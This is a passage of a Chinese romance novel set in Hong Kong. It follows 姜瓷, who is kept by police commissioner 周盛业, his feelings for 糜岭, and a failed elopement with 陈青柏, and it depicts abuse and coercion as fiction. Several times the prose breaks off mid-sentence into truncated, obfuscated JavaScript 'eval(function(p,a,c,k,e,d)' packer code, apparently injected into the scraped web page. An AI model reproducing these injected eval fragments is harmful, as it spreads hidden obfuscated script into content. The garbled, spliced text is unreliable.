原来,在五年前那短暂的一曲舞里,他就已经被糜岭当成了某个人的替代,而五年后的现在,重逢后的现在,糜岭不仅已忘了他,还在他无知无觉中又一次利用了他。 他一手攥紧了那金钩束起来的白帐幔,只觉得胸中火烧喉间泛苦,一股郁气澎湃地从肺间涌上来。原来如此,原来如此,所以糜岭可以一边贬低他是个娼妓,一边热切地溺爱他的脸和身体。 他大口喘着气,把嗓音里的哭声往回咽,咽不下,直拽得那帐子摇摇晃晃,束帐的金钩撞在床顶叮叮咣咣,整个人也发起抖来,颤着身子又咳两声,那帐子竟被他扯得裂开来,带着他往床沿倒,一倒下去,胸口那股郁气再憋不住了,哇的一下,他吐出一口血来。 英嬅惊得大叫一声,忙拿手巾去擦他嘴角,一边朝门口大喊:“糜岭!你快来!” 糜岭正走在楼梯上,听得这声唤,加快脚步进了屋,看见姜瓷倒在床边呕血,顿时满背冷汗,奔到床边把姜瓷搂进怀里,抚着他的脸急急地问:“小宝,你哪里不舒服?” 姜瓷抬头去看他,泪眼朦胧,根本瞧不清他的神色,眼睛里的水仿佛比花园池塘里的水都多,一点点漫上来,把糜岭从他的视线里淹走,带到别人那儿去了。 5. 5 记忆里的舞 陈青柏赌气下山后,好些日子都没再留心金园的事情。 有一日,他的同事乔迁了新居,在醉生楼大饭店请吃酒席。他去赴会,在大门前遇到了英嬅。英嬅的女儿吝吝过十岁生辰,也在这儿办酒席。 两人攀谈几句,他才得知姜瓷急火攻心呕血一事,急得乔迁酒也不吃了,握着英嬅的手说:“好姐姐,你帮我把这乔迁礼送到海棠花包厢去,吝吝的生辰礼改日再补,我要马上去看看姜瓷。” 他催着司机去金园,车开出去一段距离,又说要回公馆取东西,这么一来回就耽搁了许多时间,等赶到金园已晚了。 洋房里仍灯火通明的,一进屋,听到楼上摔摔打打一阵吵闹。他叫了个佣人来问是怎么一回事,佣人答说:“那位嫌中药苦不愿喝,摔药碗又砸花瓶,才在楼下闹完,现在又在上面吵起来了。” “我舅舅是不是在?” “在,三少爷买来许多蜜饯,给小姐喝完药吃,小姐不要,全都扔了,”佣人一指客厅那扇半开的窗,“扔到窗外,说……说就算拿去喂狗,狗都不愿吃三少爷碰过的恶心东西。” 陈青柏讥笑一声道:“骂得好,我看看去。” 他往楼上走,还没迈出几步,只听得“嘭”一记震天的房门响,仰头一望,见着姜瓷揪住糜岭衣襟,发怒的小牛犊似的,脑袋顶着他胸膛,把他撞出屋外来,一直撞到走廊另一面墙壁上。 王妈从房里追出来,拉着姜瓷的胳膊劝,姜瓷全不管,涨红着眼骂道:“我叫你走,你走!再别来了!”说完,仿佛一口气吊在胸前噎住了,煞白着脸,腿一软捂着心口跌进了糜岭怀里。 糜岭抱着他,抚着他胸口给他顺气,凑在他耳边不知说了些什么,像又把他惹恼了。他哭出声来,去推糜岭,推不动,也挣不脱,扬起手就要往他脸上打。 王妈立刻出声叫:“打不得!打不得!” 而糜岭只静静柔柔望着他,躲也不躲。 他的手便顿在了空中,白的臂膀颤颤抖着,仿佛一支投降的小白旗。他泄了气,把手臂挽住糜岭脖颈,倚在他胸前不住地哭。糜岭轻声说:“小宝,好了,别动气,等你养好身体,你想打,舅舅给你打个痛快……只是小宝到底在气什么?舅舅哪里做得不好,你说给舅舅听听?” 姜瓷只是摇头。 糜岭便猜道:“你整夜睡不着,我让英嬅在药方里加了几味安眠的药,喝起来是会更苦一些,你不愿意喝,再让英嬅换一副新的来,好不好?” 姜瓷仍一言不发,抽抽搭搭地哭。 “是不是英嬅?”糜岭更把声音放柔了,讨好地给他抹眼泪,“我们两家是世交,我和她确实是订了娃娃亲,可是娃娃亲算得了什么小宝?她二十岁出头就结婚,现在孩子都十岁了,舅舅哪还能和她有关系?是不是青柏跟你说了我和她什么事?” 姜瓷倒还不知道他和英嬅有这样的渊源,顿了顿哭声,恹恹地耷拉着眼,泪还是簌簌地落,又哭了两声,忽地听到一声冷笑,一抬头看见陈青柏就站在近处楼梯口。 陈青柏恨恨盯着糜岭,说道:“上一回我请了姐姐后就再没来过这儿,又怎么和小瓷说舅舅的闲话?怎么什么坏事都要推到我头上!什么药方什么娃娃亲,我看小瓷就是怕你,怕你害死他!上一回舅舅弄得他风寒高烧,这一回大冷天去玩水,又弄得他呕血,再跟舅舅待下去,谁知道会出什么事情?” 往日他哪敢跟糜岭这样高声说话,即便糜岭当着他的面儿和姜瓷滚到床上,他嘴里一向也蹦不出一个字来。只是近来姜瓷两度大病,全是糜岭坑害,他又气又急,无处发泄,现下碰上糜岭说他的不是,再忍不住了。 糜岭听了却只皱了皱眉,没什么特别的反应,抱起姜瓷就要回屋。 陈青柏一拳打棉花上,更是恼火,快步过去挡在门前,抓住姜瓷胳膊,说:“小瓷,你别跟他走。我带了个好东西给你,你要不要看?” 他挑衅地望一眼糜岭,糜岭根本不瞧他,亲昵地蹭蹭姜瓷的脸,说:“小宝,明天再看,舅舅陪你睡觉,嗯?” 姜瓷垂头对着摔在地上的那根黑手杖,呆了半晌,看向陈青柏,轻声问:“什么好东西?” 王妈把厨房新熬的药端上来,姜瓷一口气喝了。 他坐在窗边的小沙发上,拆陈青柏递来的礼盒,撕开包装,里面一件绿莹莹的袍子,花纹和剪裁,都与那件被扯坏的相差无几。 陈青柏说:“我跑了好几家绸缎庄才找到这样一件,虽然和原来那件有点不一样,可是料子一顶一的好,你穿穿看合不合身。” 姜瓷却把礼盒放到了脚边,偏头望向窗外,看见糜岭站在前院里一棵树下。那树已经落完了叶子,只剩横斜的许多枯枝,像是沉沉压在糜岭肩背上。深秋的山中夤夜,风也萧肃,草地上浮着层薄白的露雾,濛濛掩着糜岭的身形,凄冷的月光投下来,更显得他仿佛在另一个缥缈的世界。 陈青柏蹲下来半跪在姜瓷身前,唤道:“小瓷,别看了,我跟你说话呢。” 姜瓷低低应了一声,问说:“你喜欢我?” 陈青柏愣了一瞬,马上紧握住他的手:“喜欢。” 楼下糜岭动了动,仿佛也听到姜瓷的问话,似要回过身来往楼上望。姜瓷随即撇过脸来看向陈青柏,一时眼眶又红了:“你到底是喜欢我,还是喜欢我的身体?” “我……两个都……我当然是——是喜欢你,”陈青柏说得磕绊,咽了咽喉咙,“我是真心,才不像舅舅!我、我可以证明给你看。小瓷,我们结婚好不好?我知道周盛业不会放你走,我家里也不会同意,但我们可以私奔,去没有人认识我们的地方,重新生活。” 姜瓷凄凄地笑了一笑:“私奔?你真傻……你知道这林子里面,这上下山的路上守着多少警员?就算真躲过他们逃到了城里,整个香港到处都是周盛业的眼线,他是警务处长,要抓人易如反掌,你说,要怎么私奔?” 陈青柏迫切地晃着他的手,仿佛立刻就要带着他离开:“小瓷,我们不试试怎么知道?你等我回去想个周全的计划,到时我一定带你离开这里。” 姜瓷挥开他的手,垂着头细声道:“你当我没试过么。” “那么——” “有一次,我一口气跑到了山下,跑到了浅水湾,我以为已经够远了,不会再有人追过来了……那时候已经过了午夜,还下雨,我想找个地方躲一躲,只要捱第二天一早,我就可以去码头买船票离开香港,”姜瓷眼泪扑簌簌,浑身抖着,像一支被风吹颤而将熄的烛火,“街上只有那一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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糜岭起身拽过他,要扭送他出去,他挣扎着,一脚踢到糜岭受伤的腿上,可糜岭竟感觉不到一般,一下绞住了他的手臂。他不服气,朝地上啐了一口,梗着脖子被押到屋外,坐上了车。 他们闹的这许多动静,姜瓷全听见了,也听见车子开远的声音,以为糜岭受不了他给的气,也跟着陈青柏一起下山了。 这些日子总是在傍晚,司机送了糜岭来,清晨又接糜岭走。他冷言冷语的,糜岭也不恼,陪他睡觉,还说故事给他听。现在他一个人躺在冷冰冰的床上,翻来覆去睡不着,听到时钟敲了十二下,还是披了衣服下楼来。 一进客厅,竟看见小桌上烛台亮着,他马上掩到墙后去,再悄悄探头往那儿瞧。 糜岭坐在沙发上,伛偻着背,手肘抵在膝盖上,手掌交握着靠在额前,不知在想什么。过了片刻,他直起身抚了抚受伤的那条腿,不舒服地皱起眉来,视线垂向烛台旁的桌上,静静望着什么东西。 烛光衬得他眼睛血红,睫毛的影子拉长了映在他眼下,仿若数道浅浅的泪痕。 姜瓷立刻明白了他是在看心上人的那张小像。他心揪着一牵一牵地痛,只觉得又喘不上气来了,头晕目眩,阵阵耳鸣,不自觉叫道:“阿、阿岭……” 浑浑噩噩地,真瞧见糜岭走过来了,应他道:“小宝,怎么了?睡不着?” 他点点头,身子发软往前一扑,坠进糜岭怀里,呜咽着哭起来。 6. 6 甜蜜饯 “窗户……风好冷。”姜瓷颤声说着,侧头望向厅里那扇半开的窗,窗帘在风里来回地拂,掀过去的时候,借着白亮的月色,他瞧见角落地上碎掉的半个蜜饯罐子,里头还有零落几个果脯。明明方才都摔出去了,怎么还掉了半个罐在这儿? 有鸟儿嗅着甜味,飞落到窗台,先晃着脑袋,往屋子里左右望望,没开灯,只点了蜡烛,红深深一团柔色,即便秋夜的冷风直往里拂,吹得一切都瑟瑟抖着,却也还有种暖融融的错觉。小鸟试探着伸出爪子,小心翼翼踏进屋里,离那摔碎的罐子近了,更闻得浓浓的果脯香,于是扑棱一展翅,落到罐子前,拿尖尖的晦去啄果子,几次啄不准,反而推得果子溜溜地往屋子里滚了几滚,再要去追,只听一阵人类的哆哆嗦嗦的哭吟:“阿岭……阿岭!” 糜岭不应声,把他往怀里抱了抱,向窗前瞥一眼,也看见了那蜜饯罐子,弯唇笑起来,道:“我可记得有个人说,舅舅碰过的东西,小狗都不愿意吃?” 姜瓷哼着直哭,抿着唇不答。糜岭追问道:“小宝记不记得是谁说的?” 他憋得脸通红,一个劲儿摇头,有些恼了,抬腿要去踢糜岭,被糜岭一下捉住了脚踝。 这时候两人都听得鸟儿细细的啾啾声,一道垂眼望过去,只见一只小雀追着一颗果脯往屋子深处跑去,那果肉已被啄得软烂了。 糜岭笑道:“它倒是吃得开心。” 姜瓷哪有闲心搭他的话,软着嗓子甜腻腻地叫:“小舅舅,好阿岭……” 却忽然涌进来一阵夜风,把小桌上的蜡烛吹熄了,吓了姜瓷一跳。糜岭马上俯身拥住他,低声道:“别怕。” 别怕。 姜瓷没防备听到这么一句话,恍然一阵头昏,仿佛一刹那回到了五年前的舞厅,那一声“别怕”和这一句“别怕”,像绳子的两端,打个结,绕成圈,把两人绑在一起。 烛台离得近,糜岭重又点燃了蜡烛,再要去关窗,他不肯,几乎是尖叫般的迸出声:“不要走!求你!”啜泣一声,低低地糊里糊涂地又道:“求你……救……” 糜岭望进他朦胧的泪眼里,倒映出的细细跃动的蜡烛红光,却仿佛比白的月色还要凄冷哀怆。他抚着他背柔声安慰:“好了好了,我不走,不逗我们小宝了,舅舅抱抱你好么?” 他怔怔地不作声,糜岭也不等他回话,抱他到怀里哄着。他枕在他背上,眼睛一眨,忽而又见那偷吃的小鸟儿,贪心地追着从罐子里溜出的果脯肉嬉闹。越看,越被左右滚来滚去的小果粒搅得头昏,眼前直闪白光。 他两手按着肚子凄凄地哭:“疼,阿岭……我疼……” “怎么忽然这里疼?” “就是疼……” “好好,是不是晚上没吃饭胃不舒服?舅舅喂你喝点粥好不好?” 他摇着头,哭得愈发大声,动静终于惊扰了那鸟儿,它嘴里叼着、爪子攥着果脯肉哗啦啦飞出了窗,留下一道他身上白色羽毛的残影。 萧瑟的夜风更往窗户里涌。姜瓷被吹得颤颤地抖,捂着心口摇摇欲坠。糜岭连忙给他顺气,再不敢带他在这儿闹了,抱他上楼睡觉。他乖顺地凑在糜岭,细细地喘着气,软软润润,想要糜岭吻他再哄哄他,抬了抬头,却见糜岭微垂着眼帘,眼神在暗里浊得瞧不清 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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姜瓷好些天没吃什么东西,整日躺在床上,丢了魂似的,只是发怔,同他说话,他也全都不应。 王妈心里着急,这一日给百杏林拨去电话,请英嬅来一趟。英嬅受糜岭之托,本来每月就要给姜瓷诊脉,今日王妈不请,也该是她上山的日子。 出发前,她在药店门口碰着了陈青柏。陈青柏抓着她手,不着痕迹地把一张纸片塞进她手里,说:“幸亏我来得巧截住了姐姐,否则我还要受罪呢。” 英嬅瞥一眼他身后跟着的两个壮硕的家仆,笑说:“怎么了?又闯了祸叫你舅舅教训了?我这儿有上好的跌打药。”她去药箱里拿药,遮掩着把那张小纸片丢了进去。 陈青柏见状松了口气,说:“倒是没挨打,只是被罚了半个月的零花钱,舅舅还要这两个人跟着我,连酒楼都不让我去了。昨天晚上我没睡好,今天起来头痛,姐姐瞧我是不是在发热?” 英嬅抬手摸摸他额头:“是有些,那我给你抓了药再走。” 她返回店内包了几包药,握住陈青柏的手摇了摇,说:“你放心。”陈青柏对着她用力点点头,坐上车走了。 到金园时正晌午,被佣人领进房里,正看见王妈端着碗坐在床边,苦口婆心地劝姜瓷吃东西。王妈见着她如蒙大赦,招呼着她坐,把碗递到她手里,说:“英大夫您帮我劝劝,我下去做饭,您一会儿吃了饭再走。” 王妈退出去了,屋子里静下来,只有床前那盆炭火时不时噼啪地爆一声。 英嬅吹了吹碗里银耳汤,往姜瓷跟前递,说:“小瓷,你多少吃一点,王妈也是这么大年纪的人了,何必为难她。” 姜瓷也不坐起身迎她,僵在床上一动不动,闷闷地说:“姐姐吃吧,一会儿王妈上来了跟她说是我吃的。” 英嬅叹口气放下了碗:“小瓷,再怎么样,自己的身体总得养好不是?” 姜瓷不应,阖着眼帘似要睡过去,英嬅马上从药箱里寻出那纸条来,说:“青柏让我交给你,他不知犯了什么错惹恼了他舅舅,现在去哪儿都有人跟着,这一段日子大约也不能来瞧你了。” 姜瓷不接,把脸埋进被子里,低声说:“我不识字,姐姐替我看了吧。” “这……他给你的信,我……” “没什么不方便,姐姐不用顾虑。” 英嬅便展开纸条扫一眼,“呀”地叫出声来:“小瓷,你要和青柏私奔么!这上面写着,要你今晚别睡觉,等他过来。” 姜瓷探出头来,皱着眉,一把抓过那纸条往火盆里一扔,猩红的火光一下子把纸片燃成了烟灰。 “他自说自话,把我扯进去做什么,谁要跟他走!”他有些恼怒地喊一声,又握住英嬅的手道:“姐姐,你回去叫他别来,还有,不要和别人说起这件事,被周盛业知道了,他饶不了我。” “你、你当真——” “我不会跟他走,而且我也走不了,我这辈子就烂在这里了,姐姐。”他眨了眨眼,静静落下两行泪。 “小瓷,我……上一回,我不是有心……” “姐姐,别说了,你下去吃饭吧,辛苦你来看我,我现在想睡觉了。” 英嬅欲言又止,最后还是什么都没说,起身出去了。在金园吃过饭,下山直奔陈青柏的小公馆,替姜瓷传了话。 陈青柏听后刺刺地问她:“怎么可能?小瓷真的这么说?姐姐莫不是根本没把消息传给他,自己偷偷看了纸条来劝我的?” 英嬅登时耳朵一热,没好气地道:“我——你说的这是什么话!” “因为我知道小瓷是想走的,他在山上虽然锦衣玉食,可过得是怎么样的腌臜日子?哪个人受得了呢?” “青柏——” “是我看错姐姐了,枉费我一番信任。” 英嬅好心喂了驴肝肺,气得脸色铁青,这下也不愿多费口舌,提起药箱便走。她想着陈青柏从小就是个窝囊性子,私奔大约也只是嘴上说说罢了,现在身边还跟着那两个家仆,即便他想上山带姜瓷走,怕也是不能够,于是便没再把这件事放在心上。 可到了晚上,陈青柏到底是跑出小公馆了,借着喝酒的由头灌醉了家仆,背着行李就往金园跑,没走山路,钻进了林子里。 今夜没有月光,倒是给了他便利,即便这林子里有留守的警员,大约也不容易发现他的行踪。他一路上到金园,绕到后院围墙处,腿打着颤早已站不住了,跌在草地上休息,一边摸索起围墙来。 前几日,他满城打听,找到了几个曾经给金园修花园的工匠,得知当初周盛业克扣他们的工钱,于是几人在建围墙时也偷工减料,把东南角一处的墙砌得撞几下就能倒。这会儿他便找到了位置,顶起肩膀往墙上撞,然而直撞得肩膀都要断了,那墙还是纹丝不动的,当下急得心头怦怦直跳,想着莫不是被那些人耍了么?也顾不得那许多,只好轻手轻脚往大门摸,悄悄溜进了屋。上楼走到姜瓷屋外时,正听得时钟敲了三下。 他推门进去,扑到姜瓷床边,轻声叫:“小瓷,小瓷!” 姜瓷迷迷糊糊睁开眼,借着炭盆的一点儿火光,见是他,灰头土脸还背着行囊,立刻惊出一身冷汗,去推他:“你——你放开!你干什么,我不是叫你别来?你疯了吗!” 陈青柏不由分说拽他下床:“我带你走,我们离开这里!” “陈青柏,我那一天说得还不清楚?我走不出这里,也没有人能带我逃……要是被周盛业抓住了,就算你是陈家的小公子,他也不会放过你!” “你放心,我们绝不会被发现,我刚才从山下过来,一路都没遇见人,很安全!你信我!”陈青柏仍拽他往门口带。 他踉跄着跌了几跤,与他几番拉扯,放软了态度,哀求般的叫他的名字。陈青柏全然不听,拖着他下了楼梯,走到厅里,摸着黑,撞到了桌椅,?啷喀拉一阵怪响,脚下停了停,正要再迈步,却忽然厅里的灯啪地一亮,惊得两人都往后退了退。 等眼睛适应了光线,姜瓷抬头一瞧,周盛业赫然坐在沙发上,好整以暇,手里夹着支雪茄。另有七八个带枪的警员围在周遭。 姜瓷平日里见惯了这些警员,但现下还是冷汗如瀑,软了腿,更别说陈青柏了,养尊处优的少爷,从没和什么警察什么枪打过交道,登时吓白了脸,心惊肉跳。 好一阵儿谁都不言语,后来陈青柏不知想到了什么,握着拳头,斜着眼狠狠地望望姜瓷。姜瓷一眼就看出他的意思,仿佛听到他在质问自己,是不是提前报过信,才被周盛业在这儿堵个正着。 他心口冷冰冰的,有点儿站不住,往边上挪了挪,轻轻倚在了一张翻倒的桌子上,抖着嘴唇正想叫周盛业,周盛业先一步开口,但没过问他,向陈青柏道:“这么晚了,陈少带着这一位要去哪儿啊?” 陈青柏摸一把额角的汗,咽了咽喉咙,竭力赔出一个笑脸来,要凑到周盛业跟前说话。可只踏出一步,便有两三个警员踏上前来,举起枪抵在了他脑门上。 他一惊,一瞬间仿佛肝胆俱碎,“啊”一声嚎叫起来,一屁股摔在地上,颤颤巍巍抱起拳朝周盛 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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到了糜公馆,门房毕恭毕敬将几人迎进去。管家瞧见这样的阵仗,立刻去通报。此时还只是早晨六点多钟的光景,糜岭还睡着,过了约一刻钟才急匆匆赶来客厅里,与周盛业寒暄攀谈。 周盛业全不提适才发生的事,只说:“我碰见了陈少,顺路就送他回来了。三少爷,过几日是金园那位的生辰,下午我叫人递帖子过来,三少爷还请赏光去吃酒!” 糜岭点头应下,与他握一握手,送他出了门。他再把陈青柏叫到书房去说话。陈青柏像是痴傻了一般,跪在地上流泪,口涎滴答,裤子还是半潮的。 糜岭一再地追问:“是不是和姜瓷有关?我早跟你说了,不要被他几句话就哄得昏了头!他毕竟是周盛业的人!” 陈青柏把手指抵在唇上一个劲儿“嘘”着,惶惶然四下张望几眼,压低了声音喃喃地说:“小舅舅,是姜瓷,对,就是他,是他的错,不是我……是他、他说他受不了山上的日子,求我带他逃走,对……昨夜我就……谁知碰到了周盛业和他的手下,他们拿枪对着我要杀我!要杀我!啊!”他大叫起来,噌地站起身,在房内跑来跑去,见着什么就抓,抓了再摔打到地上。 糜岭见着他这副疯样,只觉得不好,叫了几个佣人制住他,赶忙让管家拨电话请英嬅。可英嬅才受过陈青柏的气,哪里肯去,甚至没听管家把话说完就借口太忙拒绝了。糜岭只好又请了一位西医来瞧。 医生赶了来,看着陈青柏瑟瑟发抖地躲在床角,嘴里念念有词,就说他这是患了“精神崩溃症”,到国外去医治,或许还有恢复的希望。 这样的丑闻假如传出去,陈家真要沦为全香港的笑柄了。糜岭思虑再三,当晚就安排陈青柏坐上了去英国的轮船。 8. 8 翡翠不配金 金园到底不是什么体面的地方,因此即便办生辰宴,也是不露声色的,一共只邀了两桌人,另有五六个从浅水湾舞厅请来暖场子的舞女。 王妈为了宴会的事忙前忙后,过了中午才把饭送到楼上,一进屋,看见姜瓷拿着剪子在剪一件绿袍子,那袍子还是崭新的,上好的织锦缎。 她忙去拦,姜瓷推开她,把袍子往火盆里一扔,走到床边拿出一件本就撕碎了的也是绿色的袍子来,还剪碎了继续往炭盆里甩。 王妈连声叫着:“这是做什么!”而那盆里已经烧起来,火苗蹿出几米高。姜瓷怔怔望着汹汹的火光,低声说:“烧衣服啊。” 王妈只觉得是前几日陈青柏一事吓得他痴傻了,急得拽着他出了房间,叫佣人们去灭火,屋里乱作一团,很是折腾了一番。 姜瓷在楼下倒是悠哉,打水洗了头发,搬张小凳坐到后院里。王妈把火钳烧热了,给他烫过头发,楼上火也灭了,屋子也收拾好了,他又回去睡觉,一直到傍晚才醒。 王妈再来请他,进了屋着急忙慌地从衣柜里给他拿旗袍,说:“忙得我昏了头了,刚才老爷问起你在哪,我才想起来你还睡着,客人都到齐要上桌了!” 他换上旗袍,不紧不慢走到梳妆桌前,坐下来后打了几个哈欠,怔怔盯着镜子里发呆。王妈急得直跺脚,麻利地从梳妆盒里拿出首饰来往他耳朵上比划:“前几天才出了那样的事,还不顺着老爷的心,又要吃苦头么!快着些吧!这一串红宝石的耳坠子怎么样?” 他懒洋洋地摇一摇头,对着镜子扣盘扣,忽然从镜子里望见周盛业推门走了进来,便停住了动作。 周盛业粗声道:“做什么磨磨蹭蹭的,这都几点了!” 姜瓷把眼睛一垂,在首饰盒里挑拣起来。王妈忙把一张银狐毛披肩往姜瓷身上一裹:“就好了,就好了,老爷何必亲自上来,我们正要下去。” 周盛业打量他几眼,似乎很满意他的装扮,从口袋里拿出一条翡翠项链来往他颈上戴,缓和了语气,说:“糜岭刚刚交给我的,是送你的生辰礼,缅甸货,瞧瞧这水头多足,想买也买不着的好东西,你戴着下去见他。” 姜瓷僵着脸,依然拨弄着首饰盒里的珠宝。楼下的欢声笑闹一阵阵往屋里飘。虽是他的生辰宴,但今晚确实与他无关。 他低头瞥一眼那项链,说:“翡翠不配我这件金旗袍。” 周盛业盯着镜子里他的脸看了片刻,忽然攥住他头发狠狠一扯,将他从椅子上扯起来,仍不放手,把他整个人玩偶似的甩到左边又甩到右边。 王妈吓得大气也不敢出,立刻退了出去。姜瓷跌跌撞撞,脚尖几乎离了地,头发牵扯着头皮,似乎一张脸都要被生生揪离开去,痛得要叫出声来。 周盛业生怕闹得被楼下听见,把他甩到床上,拿过枕头往他脸上一捂,沉声喝道:“闭嘴!”见他没出声,才慢慢拿开枕头,指着他鼻子骂道:“下贱坯子!在我面前摆什么谱?我告诉你,你勾着陈家那窝囊废私奔的事还没完,一会儿在下面你若是还苦着脸搅了兴致,过了今夜,两笔账我一块跟你算!” 姜瓷两手攥着身下被子,指甲都挣得发白,咬紧牙关忍着痛意,坐起来整理头发,默默落下泪来。 周盛业见着又恼怒地叫道:“哭什么哭!给我笑!笑!” 他便擦了泪,抿紧嘴唇努力扯出一个笑,把翡翠项链摆正了,重新穿上了披肩。 周盛业理了理衣襟,喘几口气,仿佛刚才什么事都没发生,抓过他手挽在臂弯里,开朗地道:“这就对了,过生辰当然要开开心心!你今夜不用管其他人,只管把糜岭哄开心了,多给他灌些酒,他跟你说的所有的话,过后你再一字一句讲给我听。” 姜瓷打着冷颤,满背冷汗,眼里又浮出泪来。他借着撩头发的动作揩了揩眼角,低低地应了一声。 在饭桌上,姜瓷整个人都是昏聩惘然的,仿佛头发还被周盛业扯着,太阳穴牵痛,分不出其他心神,只管咧着嘴笑。 糜岭坐在他边上,始终把他一只手握着放在膝上,给他夹菜,那些不怀好意的男人来灌他酒,能挡的糜岭也替他挡下了。他猜想或许糜岭还不知道陈青柏上山来找过他的事情,所以才如往日一样的温情。 吃完了饭,撤掉桌子,有个舞女就在厅里唱起歌来,一些人留在这儿说话调笑,另一些人扎起桌布开始打麻将。 姜瓷拉了糜岭来跳舞。像五年前那样。不同的是,他现在成了跳舞的好手,糜岭则笨拙地总磕绊到他的脚。 他伏在糜岭肩上轻轻地笑他,糜岭也跟着笑,亲昵地柔柔地问:“跟谁学的舞?跳得这样好。” 一句话问得他眼中又光潋潋的,他瞥一瞥坐在远处沙发盯着这儿的周盛业,把嘴角咧得更开了,搂着他脖子,讨好地去贴他脸颊,说:“周盛业找来的舞女,她以前是浅水湾舞厅的头牌,后来嫁了一个做绸缎生意的老板。” 他浑身都腻 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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他笑着,客套地回道:“谢谢你,很漂亮,我很喜欢。” 话音刚落,歌声也停了,换了首轻快的舞曲。糜岭便放开了他,替他拢好披肩,说:“舅舅可跳不了这么快的舞,小宝自己玩会儿。” 姜瓷抓着他不放手,他有些无奈地低头来吻他一下:“乖乖的。”便出了客厅。 颈前旗袍盘扣还敞开着,那块绿翡翠直接地贴在心口,冷得像片冰。 9. 9 一把姜 糜岭走到屋外,迎着风散了散身上的酒气,忽然瞥见树下一个挺拔的身影,便叫道:“志骁?” 张志骁回头见是他,就从树下走出来,笑着说:“多少年没见了,糜岭。” 二十多岁的时候,糜岭曾到内陆游历过几年,在上海与张志骁相识。他母亲糜雨雨早逝,连一张肖像都没留下,父亲陈兴那老东西,只浅薄地知道糜雨雨是内陆人,说话似有南方口音,其余一概不了解。 糜岭为了打听糜雨雨的生平,从广东一路向北寻,去了许多地方,到了上海,几个匪徒见他穿得阔气,当街抢劫了他。身无分文无处可去之时,幸而遇到了张志骁。 张志骁家里做建筑和建材生意,在那时候就已经是上海数一数二的豪门。他安排了一间房子给糜岭暂住了许多时日。两人因此结缘。 早几年他们联系频繁,也相约见过面,后来虽慢慢淡了来往,但情谊还在。糜岭去英国前也给他写过信,告知了出车祸一事。 现在睽违多年再见,两人都很高兴,互相紧紧握一握手。张志骁把他打量一番,说:“你真是一点没变,刚刚一踏进门我就认出你了。酒桌上嘴杂,我都没能跟你搭上话。对了,腿伤恢复得怎么样了?” 糜岭说:“好多了,拄拐总比走不了路好。刚才多少人围着,一直没能跟你说上话,你何时来的香港?怎么不来找我?” “我以为你还在英国治病呢!你也不给我来个信!我就是三四天前到的,我太太的亲眷一家好几年前迁到了香港来,现在亲眷家的老太爷死了,我和我太太来奔丧。这两天她水土不服,头疼脑热,都下不了床。” 糜岭说:“我回来之后被生意场上的事绊得抽不开身,倒忘记知会你一声。你们住在哪里?明天我找个大夫过去给她瞧瞧。” “就在醉生楼饭店边上,一间挺大的宾馆,房间阳台望出去能看见海呢。” “你多留几日,我请你吃饭,带你到处逛逛。” “没问题。” 说话间屋子里爆出一阵欢笑和掌声,两人一同往里张望,看见姜瓷一个人在跳舞。是支热闹的快狐步双人舞曲,但姜瓷把两臂摆在空中,就仿佛抱着个透明人。 他把银狐毛披肩脱了下来,被糜岭解开的旗袍盘扣就那样松散地扯着领子坠在那儿,露出一片香肩,像团浓厚的云,遮蔽着两座白皑皑的雪山,他步伐一抖,那雪山仿佛雪崩似的倾晃,晃出的不是雪粒子,是一股暖热馥郁的暖香,一直飘到这屋外来。 再有他今天那一身金,在光下直闪得人眼睛疼,柔软的一截子身体套在里面,仿佛金花瓶里一朵茉莉,跳起舞,脚下游来荡去,飘拂的柳絮似的轻盈。 糜岭好容易把眼睛从姜瓷身上摘下来,对上张志骁戏谑的表情,坦诚地笑着说:“真把我蛊着了,有事没事我都往山上跑。对了,你既然才到香港,那一定还不认识姜瓷,怎么会来给他庆生?” “我也纳闷呢!我与这儿简直没一点相干!是周盛业请我来的。” “哦?” “说来真倒霉,前几日有人洗劫了我的宾馆房间,把我太太的衣服、珠宝首饰偷得一件不剩!我去警局报案,周盛业亲自接待的我,他说他认识你,我又是你朋友,一定尽力破案云云。我都不知道他从哪儿打听到我和你的关系!后来第二天他就把丢的那些东西原封不动全还来了。我今天在街上碰见他,他说要带我来玩,还说你也在,见我了一定很高兴,真是奇怪!” 糜岭听了皱起眉,低声说:“宾馆被洗劫一事处处可疑,或许就是周盛业在背地里指使,为了与你搭上关系。你别和他有太多牵扯,这个人非常阴险。” “这话怎么说?” “今年开春我回到香港没多久,周盛业就设法让我外甥带我进了这金园。” “美人计?怪不得……可是他要算计你什么?” 糜岭摇摇头:“不知道他葫芦里卖什么药,大半年了,一直没什么动静,不过前几日我外甥折进去了。姜瓷迷得他神魂颠倒,他偷跑上山来要带着人私奔,被周盛业抓住,几个警员举枪吓了吓他,他回来后话都说不利索了。” “有这样的事!” “他从小就胆小,我送他到英国治病去了。” “亏你还能心平气和来这儿跟周盛业吃饭!” “眼下只能隐忍不发了,不弄清楚他的目的,我不放心。” “我看除了珠宝生意还能是为了什么?你们家可是全香港最大的珠宝商,他当了官不够,还想敛财,你说说,吞了你家,谁还能富得过他呀!过几日我就回上海了,他也不能拿我怎么样,倒是你,可得小心。” 